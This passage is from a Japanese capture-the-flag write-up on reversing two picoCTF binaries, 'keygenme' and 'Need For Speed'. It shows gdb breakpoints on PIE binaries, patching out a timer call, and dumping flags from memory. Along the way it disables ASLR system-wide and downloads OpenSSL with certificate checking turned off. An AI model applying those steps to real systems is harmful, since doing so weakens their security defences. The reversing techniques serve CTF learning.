がnot found
となっており、読み込みに失敗していた。
$ ldd keygenme
linux-vdso.so.1 => (0x00007fff761b5000)
libcrypto.so.1.1 => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff38e6bf000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff38eab0000)
find
コマンドでlibcrypto.so.1.1
を探してみたが見つからなかった。
$ sudo find / -name libcrypto.so.1.1
$
どうやら、どこかからlibcrypto.so.1.1
を引っ張ってくる必要がありそうである。
調べてみたところ、stackoverflowで紹介されていたopenssl-1.1.1
をインストールしてlibcrypto.so.1.1
を/usr/lib
にリンクさせるという方法で解決することができた。
以下、ざっくりとした手順。
まずopenssl-1.1.1
をダウンロードする。
wget https://www.openssl.org/source/openssl-1.1.1o.tar.gz --no-check-certificate
ダウンロードしたtarファイルを解凍する。
gunzip openssl-1.1.1o.tar.gz
tar -xf openssl-1.1.1o.tar
openssl-1.1.1
をインストールする。
cd openssl-1.1.1o
./config
make
make test
sudo make install
libssl.so.1.1
を探して/usr/lib
にリンクさせる。
sudo find / -name libssl.so.1.1
sudo ln -s /usr/local/lib/libssl.so.1.1 /usr/lib/libssl.so.1.1
続いてlibcrypto.so.1.1
を探して/usr/lib
にリンクさせる。
sudo find / -name libcrypto.so.1.1
sudo ln -s /home/sansforensics/Desktop/keygenme/openssl-1.1.1o/libcrypto.so.1.1 /usr/lib/libcrypto.so.1.1
これで完了である。
ldd
コマンドで確認したところ、ちゃんとlibcrypto.so.1.1
が読み込まれていた。
$ ldd keygenme
linux-vdso.so.1 => (0x00007fff02bfe000)
libcrypto.so.1.1 => /usr/lib/libcrypto.so.1.1 (0x00007f1d8aa9d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1d8a6d4000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1d8a4d0000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1d8a2b1000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1d8afae000)
これでkeygenme
が実行できるようになった。
$ ./keygenme
Enter your license key: hoge
That key is invalid.
正しいライセンスキーを入力するとThat key is valid.
というメッセージ表示され、ライセンスキーが正しくない場合はThat key is invalid.
というメッセージが表示される。ライセンスキーの検証はサブルーチン0x1209
で行われる。

さて、冒頭で述べたようにkeygenme
はPIEが有効化されている。そのためプログラム実行時のアドレス配置がランダム化され、これがデバッガでブレークポイントをセットする際に妨げになる。(アドレスがランダム化されるので、ブレークポイントをセットしようにも、どのアドレスにセットすれば良いのか分からない。)
自分は以下の手順で上記の問題を解決した。
まずOS上でASLRを一時的に無効化した。以下のコマンドを実行して解析に使用しているUbuntuのASLRを無効化した。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
続いてプログラムのベース・アドレスの確認方法だが、keygenme
にldd
コマンドを走らせるとld-linux-x86-64.so.2
がアドレス0x555555554000
にロードされていることに気がついた。
$ ldd keygenme
linux-vdso.so.1 => (0x00007ffff7ffd000)
libcrypto.so.1.1 => /usr/lib/libcrypto.so.1.1 (0x00007ffff7aec000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7723000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff751f000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ffff7300000)
/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)
もしかして0x555555554000
がベース・アドレスなのでは?と思いつき、試しに以下の命令部分にブレークポイントをセットしてみることにした。
00000000000014DD E8 27 FD FF FF call checkLicenseKey_1209 ; return 1 if key is valid
相対アドレス0x14DD
の実際のアドレスを取得するにはベース・アドレスの0x555555554000
と0x14DD
を足してやればいい。
>>> hex(0x555555554000 + 0x14DD)
'0x5555555554dd'
0x5555555554dd
にブレークポイントをセットしてkeygenme
を実行したところ、ちゃんと0x5555555554dd
のブレークポイントが起動しているのが確認できた。
$ gdb -q ./keygenme
Reading symbols from ./keygenme...(no debugging symbols found)...done.
(gdb) b *0x5555555554dd
Breakpoint 1 at 0x5555555554dd
(gdb) r
Starting program: /home/sansforensics/Desktop/keygenme/keygenme
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your license key: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, 0x00005555555554dd in ?? ()
(gdb)
これでkeygenme
のベース・アドレスは0x555555554000
ということが判明した。あとは解析したいコード部分の相対アドレスに0x555555554000
を加算してやれば、実際のアドレスを取得してブレークポイントをセットすることができる。
IDAでkeygenme
を眺めてみると以下の命令ブロックが気になった。

picoCTF{br1ng_y0ur_0wn_k3y_
という文字列がメモリにロードされた後に、上記の命令ブロックに処理が移るので、恐らくここで残りのフラグ文字列を生成するものと思われる。
さっそくブレークポイントをセットしてデバッグしてみることにした。相対アドレス0x13c8
の実際のアドレスは以下の通りである。
>>> hex(0x555555554000 + 0x13c8)
'0x5555555553c8'
0x5555555553c8
にブレークポイントをセットして実行し、メモリの中身をダンプしてみたところ、438218d572e90162d0981cbbc7d43882cbb184dd8e05c9709e5dcaedaa0495cf
というハッシュ値がロードされているのが確認できた。
Breakpoint 2, 0x00005555555553c8 in ?? ()
(gdb) x/s $rbp-0x70
0x7fffffffde00: "438218d572e90162d0981cbbc7d43882cbb184dd8e05c9709e5dcaedaa0495cfpicoCTF{br1ng_y0ur_0wn_k3y_\367\377\177"
(gdb)
どうやら、このハッシュ値から値を1バイトずつ取り出して最終的にpicoCTF{br1ng_y0ur_0wn_k3y_
と連結させるようである。
相対アドレス0x1411
(実際のアドレス: 0x555555555411
)まで処理を進めて、再度メモリの中身をダンプしてみたところ、残りのフラグ文字列が確認できた。
Breakpoint 3, 0x0000555555555411 in ?? ()
(gdb) x/s $rbp-0x15
0x7fffffffde5b: "ab<REDACTED>c}"
Need For Speed (400points)
64ビットのELFファイルneed-for-speed
を解析してフラグを取得する問題。
ファイルをchecksecで確認したところ、PIEが有効化されていた。
$ sudo checksec.sh --file=need-for-speed
[sudo] password for sansforensics:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 77 Symbols No 0 0 need-for-speed
プログラムを実行してみたところ、Creating key…
というメッセージを表示して数秒したのち、Not fast enough. BOOM!
というメッセージを表示して終了した。
$ ./need-for-speed
Keep this thing over 50 mph!
============================
Creating key...
Not fast enough. BOOM!
ファイルをIDAで眺めてみたところ、header
、set_timer
、get_key
、print_flag
という4つの関数が目についた。

それぞれの関数をざっくりチェックしてみた。
header
:Keep this thing over 50 mph!
というメッセージを表示するだけの関数。set_timer
: プログラムが実行されてからの時間を計測する関数。実行から一定時間が経つとNot fast enough. BOOM!
というメッセージを表示してプログラムを終了する。get_key
: フラグを復号するための鍵を生成する関数。内部でcalculate_key
という関数を呼び出している。print_flag
: フラグを復号して標準出力に表示する関数。内部でdecrypt_flag
という関数を呼び出している。
上記で特に興味深いのはprint_flag
関数である。この関数は内部でdecrypt_flag
という関数を呼び出してフラグを復号し、標準出力に表示する。

冒頭で述べたようにneed-for-speed
はPIEが有効化されている。そのためプログラム実行時のアドレス配置がランダム化され、これがデバッガでブレークポイントをセットする際に妨げになる。(アドレスがランダム化されるので、ブレークポイントをセットしようにも、どのアドレスにセットすれば良いのか分からない。)
自分は以下の手順で上記の問題を解決した。
まずOS上でASLRを一時的に無効化した。以下のコマンドを実行して解析に使用しているUbuntuのASLRを無効化した。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
続いてプログラムのベース・アドレスの確認方法だが、need-for-speed
にldd
コマンドを走らせるとld-linux-x86-64.so.2
がアドレス0x555555554000
にロードされていることに気がついた。
$ ldd need-for-speed
linux-vdso.so.1 => (0x00007ffff7ffd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a0f000)
/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)
おそらく0x555555554000
がプログラムのベース・アドレスと思われる。あとは解析したいコード部分の相対アドレスに0x555555554000
を加算してやれば、実際のアドレスを取得してブレークポイントをセットすることができる。
さて、need-for-speed
をそのまま実行してもset_timer
関数が邪魔をしてフラグがメモリにロードされる前にプログラムが終了してしまうのでset_timer
のcall命令をNOPする必要がある。
自分はIDAを用いてプログラムをパッチした。(詳しい手順はこちらの記事のプログラムをパッチするの項を参照)

パッチ後のファイルをneed-for-speed-patched
として保存し、以降のデバッグにはパッチ後のファイルを用いた。
下記はdecrypt_flag
実行後の命令コードである。puts
の直後のnop命令(アドレス0x08d5
)にブレークポイントをセットして実行すればフラグを取れそうである。
.text:00000000000008C4 E8 A1 FE FF FF call decrypt_flag
.text:00000000000008C9 48 8D 3D 50 07 20 00 lea rdi, flag ; s
.text:00000000000008D0 E8 3B FD FF FF call _puts
.text:00000000000008D5 90 nop
相対アドレス0x08d5
の実際のアドレスは以下の通りである。
>>> hex(0x0000555555554000 + 0x08d5)
'0x5555555548d5'
0x5555555548d5
にブレークポイントをセットして実行したところ、フラグが取れた。
$ gdb -q ./need-for-speed-patched
Reading symbols from ./need-for-speed-patched...(no debugging symbols found)...done.
(gdb) b *0x5555555548d5
Breakpoint 1 at 0x5555555548d5
(gdb) r
Starting program: /home/sansforensics/Desktop/Need_For_Speed/need-for-speed-patched
Keep this thing over 50 mph!
============================
Creating key...
Finished
Printing flag:
PICOCTF{Good job keeping bus <REDACTED> speeding along!}
Breakpoint 1, 0x00005555555548d5 in print_flag ()